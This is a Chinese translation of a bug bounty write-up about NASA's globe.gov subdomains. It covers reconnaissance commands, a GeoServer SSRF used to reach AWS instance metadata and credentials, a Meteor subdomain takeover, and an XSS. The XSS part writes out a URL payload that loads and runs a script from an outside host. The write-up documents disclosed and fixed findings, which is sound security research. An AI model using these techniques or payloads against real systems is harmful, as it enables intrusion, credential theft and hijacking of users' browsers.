翻译：https://nickguitar.medium.com/hacking-nasa-critical-ssrf-subdomain-takeover-xss-699be0ce3c06

背景

几个月前，我对NASA的漏洞赏金计划非常感兴趣。像其他大型公司一样，他们有大量公开的服务和网页，难以全部监控。一些网站运行着老旧的、废弃的、有漏洞的应用程序，这些程序本不该在线，这正是我寻找的目标。

我首先进行了信息收集，尽可能多地枚举子域名。当时，他们的项目包括大约六个域名，我专注于 globe.gov，这个 NASA 拥有的域名在前一周刚被添加进来。由于其他黑客还没测试过这个域名，我认为找到有价值漏洞的机会更大。

首先，我使用了多种工具和方法来收集子域名

amass enum -passive -d globe.gov
amass db -names -d globe.gov
sublist3r -d globe.gov
subfinder -d globe.gov
crt.sh globe.gov
ffuf -u https://FUZZ.globe.gov -w /usr/share/wordlists/dirb/common.txt -p 1
ffuf -u https://globe.gov -w /usr/share/wordlists/dirb/common.txt -H "Host: FUZZ.globe.gov"

收集到大约60个 globe.gov 的子域名并将它们保存到 targets.txt 后，我决定使用默认模板和以下参数在这些子域名上运行 nuclei：

-l: 指定目标列表作为输入
-fr: 跟随重定向
-headless: 启用需要无头浏览器支持的模板
-sa: 扫描与DNS记录相关的所有IP
-o: 输出文件

nuclei -l targets.txt -fr -sa -headless -threads 100 -o nuclei.out -user-agent "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6284.218 Safari/537.36"

同时，我使用以下参数运行 httpx 以获取这些子域名的底层技术信息：

-l: 指定目标列表作为输入
-sc: 显示响应状态码
-location: 显示响应重定向位置
-title: 显示网页标题
-server: 显示服务器名称
-td: 根据Wappalyzer数据集显示使用的技术
-ip: 显示主机IP
-t: 线程数
-o: 输出文件

httpx -l targets.txt -sc -location -title -server -td -ip -t 100 -o httpx.out

经过几个小时的手动检查数十个子域名后，我发现了以下这些子域名，它们都托管在 AWS 上：

（部分输出）
https://vis.globe.gov [200] [] [Apache] [54.88.107.180] [vis-prd8-alb-330099320.us-east-1.elb.amazonaws.com] [Apache HTTP Server,HSTS]
https://vis.globe.gov [200] [] [Apache] [34.202.212.250] [vis-prd8-alb-330099320.us-east-1.elb.amazonaws.com] [Apache HTTP Server,HSTS]
https://visdev.globe.gov [200] [] [Apache] [54.212.156.208] [vis-dev-alb-1057329347.us-west-2.elb.amazonaws.com] [Apache HTTP Server,HSTS]
https://visdev.globe.gov [200] [] [Apache] [54.71.79.52] [vis-dev-alb-1057329347.us-west-2.elb.amazonaws.com] [Apache HTTP Server,HSTS]
https://visstaging.globe.gov [200] [] [Apache] [54.167.243.237] [Apache HTTP Server,HSTS]
https://visstaging.globe.gov [200] [] [Apache] [52.21.90.127] [Apache HTTP Server,HSTS]
https://visdev72.globe.gov [301,200] [] [Apache] [54.71.79.52] [vis-dev-alb-1057329347.us-west-2.elb.amazonaws.com] [Apache HTTP Server,HSTS] [https://visdev.globe.gov/]
https://visdev72.globe.gov [301,200] [] [Apache] [54.212.156.208] [vis-dev-alb-1057329347.us-west-2.elb.amazonaws.com] [Apache HTTP Server,HSTS] [https://visdev.globe.gov/]
https://visstaging7.globe.gov [301,200] [] [Apache] [52.21.90.127] [vis-stg7-alb-2086148035.us-east-1.elb.amazonaws.com] [Apache HTTP Server,HSTS] [https://visstaging.globe.gov/]
https://visstaging7.globe.gov [301,200] [] [Apache] [54.167.243.237] [vis-stg7-alb-2086148035.us-east-1.elb.amazonaws.com] [Apache HTTP Server,HSTS] [https://visstaging.globe.gov/]

它们实际上都是在不同环境（开发、预发布）中运行的相同页面。这就是页面的样子（与现在一样）：

然后我检查了我的 nuclei 日志，以查看是否有关于 vis.globe.gov 的漏洞，令我惊讶的是，我发现了下面这个漏洞，这个漏洞也出现在其他 vis*.globe.gov 上）。

[geoserver-login-panel] [http] [info] https://visdev.globe.gov/geoserver/web/ [2.20.4]
[CVE-2021-40822] [http] [high] https://visdev.globe.gov/geoserver/TestWfsPost

我马上关注到了这个高危漏洞，并开始对 CVE-2021-40822 进行研究。

服务器端请求伪造（SSRF）

这个子域上运行了一个GeoServer实例。GeoServer是用Java编写的开源软件，用于共享地理空间数据，如卫星图像、气候数据、林业和水资源。这些数据可以显示在Google Maps、MapBox和其他类似的地图引擎上。

事实证明，这个版本的GeoServer存在一个已知的服务器端请求伪造（SSRF）漏洞，被标识为CVE-2021-40822，由我的同事Walleson Moura {phor3nsic}发现。他在他的文章中详细解释了这个漏洞（在我写这篇文章时，我只能通过Google缓存访问该文章）。

Walleson Moura还在GitHub上发布了一个概念验证的漏洞利用代码。这个利用过程相当简单：脚本尝试向example.com/geoserver/TestWfsPost发送一个POST请求，其中“url”参数指向攻击者的网址，同时“Host”请求头指向另一个网址。如果目标服务器能够抓取这些URL中的任何一个，那么响应中就会反映出其内容，从而证明目标存在SSRF漏洞。

然后我尝试在那个visdev子域上运行这个PoC。我将POST参数“url”指向一个可以检查日志的域名，并且也设置了Host头，结果如下：

我从visdev服务器收到了一个ping请求，它已经在User-Agent中泄露了服务器上安装的Java版本。因此确认服务器确实容易受到SSRF攻击。

httpx向我们显示信息的那些vis*.globe.gov子域都托管在AWS上。众所周知，在AWS基础设施上进行SSRF攻击可能是毁灭性的。这是因为所有EC2实例都可以访问一个特定的AWS服务器，其IP地址是169.254.169.254。这个IP由各种云服务提供商（如AWS）用于向实例提供元数据。它可以返回例如实例ID、类型、用户数据、安全组信息等数据。

我已经将我域名下的一个子域配置为指向这个元数据服务器（aws.0x7359.com -> 169.254.169.254）。所以我将其用作“url”参数和“Host”头的值。结果完全如预期：它列出了服务器所有元数据版本信息。

可以浏览目录并读取数据。读取主机名会泄露该实例的内部IP：

当浏览/latest/meta-data/identity-credentials/ec2/security0credentials/ec2-instance时，可以获得一些非常关键的信息，例如 AccessKeyId、SecretAccessKey 和 Token。

有了这些信息，就可以对 AWS CLI 进行身份验证并继续利用，有可能实现 RCE（远程代码执行），甚至完全接管基础设施，具体取决于权限和安全配置。
我没有尝试去测试那些凭证，因为我不确定这是否在权限范围内，而且我不想被FBI请去喝茶。我只是收集了所有的证据，并开始撰写报告。

子域名接管

在我写完并提交了SSRF报告给NASA的BugCrowd漏洞披露程序几个小时后，我回到了我的nuclei结果，针对*.globe.gov进行检查时，我又发现了一个高危等级的漏洞：

[meteor-takeover] [http] [high] http://annualmeeting2022.globe.gov
[tech-detect:meteor] [http] [info] https://annualmeeting2022.globe.gov/

它说“接管”，所以我立刻尝试解析DNS，看看它指向哪里。

它指向us-east-1.galaxy-ingress.meteor.com，但这个DNS已经失效。该域名上没有托管任何网页。经过在Google上的快速搜索，我找到了两篇文章来解释这个接管。Meteor 子域名接管和Meteor 云子域名接管

简而言之，如果我在meteor.com上创建一个账户，我将能够在us-east-1区域重新使用这个galaxy-ingress主机名，然后在那个页面上放置任何我想要的内容。由于子域annualmeeting2022.globe.gov指向那个galaxy-ingress主机，它将反映该页面的内容，而这个页面将由我控制。

所以，在按照上述文章操作、在meteor.com上创建账户、启动Docker容器并设置好一切之后，我能够在该主机名和区域启动网络服务器：

该应用程序已成功部署在 us-east-1.galaxy-ingrss.meteor.com ，我可以完全控制它。由于 annualmeeting2022.globe.gov 指向它，我还可以控制该 NASA 子域上提供的服务。

当时，我上传了一个带有概念验证（PoC）的index.html，这就是人们在访问 annualmeeting2022.globe.gov 时看到的内容：

实际上我必须在我的帐户中添加一张信用卡并支付 1 美元才能在meteor.com 上创建该页面，这笔钱在我停用帐户几天后就被退还了。

跨站脚本攻击(XSS)

几天后，因为还有许多我还没有测试过的输入，我又回到了 visdev.globe.gov 。

我开始尝试各种操作，输入了所有可能的内容，也尝试了注册和登录，并且测试了一些虽然常见但比较古老的技巧，比如SQL注入的基础语句' or 1=1，一些跨站脚本攻击（XSS），等等。

与此同时，我的一个朋友也在测试同一个页面，他发现在一个特定的GET参数中存在一个XSS漏洞。他利用了一个特殊的输入（payload）：/?no_welcome=a'-alert(1)//，这初看起来有些古怪，但当我查看了源代码后，一切都豁然开朗。

这个参数的值在JavaScript代码中被用作一个变量。通过这个变量，可以跳出原有的作用域，直接通过URL执行任意的JavaScript代码。我发现，许多其他的变量也存在这样的行为。

这是结果：

尽管我认为这已经足够作为 XSS 的 PoC，但我决定再进一步，利用更多功能强大的有效负载武器化攻击。这个有效负载可以编写复杂的恶意 JavaScript程序，将它们上传到某个地方，并将其导入 HTML 代码中。

document.addEventListener('DOMContentLoaded', function(){
  var c = function(){
    a();
  };
  var s = document.createElement('script');
  s.src = 'https://n.0x7359.com/xss.js';
  s.onreadystatechange = c;
  document.body.appendChild(s);
});

这将向 https://n.0x7359.com/xss.js 发出请求并执行以下代码。

function a(){
   alert('cross site alert');
}

将其缩小并附加到 JavaScript 中，我们最终得到这个：

vis.globe.gov/GLOBE/?AutoRefreshInterval=%27;document.addEventListener(%27DOMContentLoaded%27,%20function()%7bvar%20c%20=%20function()%7ba();%7d;var%20s%20=%20document.createElement(%27script%27);s.src%20=%20%27https://n.0x7359.com/xss.js%27;s.onreadystatechange%20=%20c;document.body.appendChild(s);%7d);//

而最终的结果是：
攻击者随后可以利用这个链接进行社工攻击，完全控制目标浏览器上运行的 JavaScript 代码，并能够实时更改它。

时间表

我报告了一切，在所有这些事情之后的两周内，NASA 修补了所有的漏洞。

SSRF:

2024 年 2 月 25 日：报告漏洞
2024 年 2 月 26 日：向NASA提供漏洞的原始 HTTP 请求
2024 年 2 月 27 日：网站关闭，无法复现
2024 年 2 月 29 日：该网站恢复在线，并验证了漏洞（严重性 P1）
2024 年 3 月 13 日：漏洞已修复

子域劫持:

2024 年 2 月 25 日：报告漏洞
2024 年 2 月 26 日：漏洞已验证（严重性 P3）
2024 年 3 月 4 日：漏洞已修复

跨站脚本攻击:

2024 年 2 月 28 日：报告漏洞
2024 年 2 月 28 日：漏洞已验证（严重性 P3）
2024 年 3 月 13 日：漏洞已修复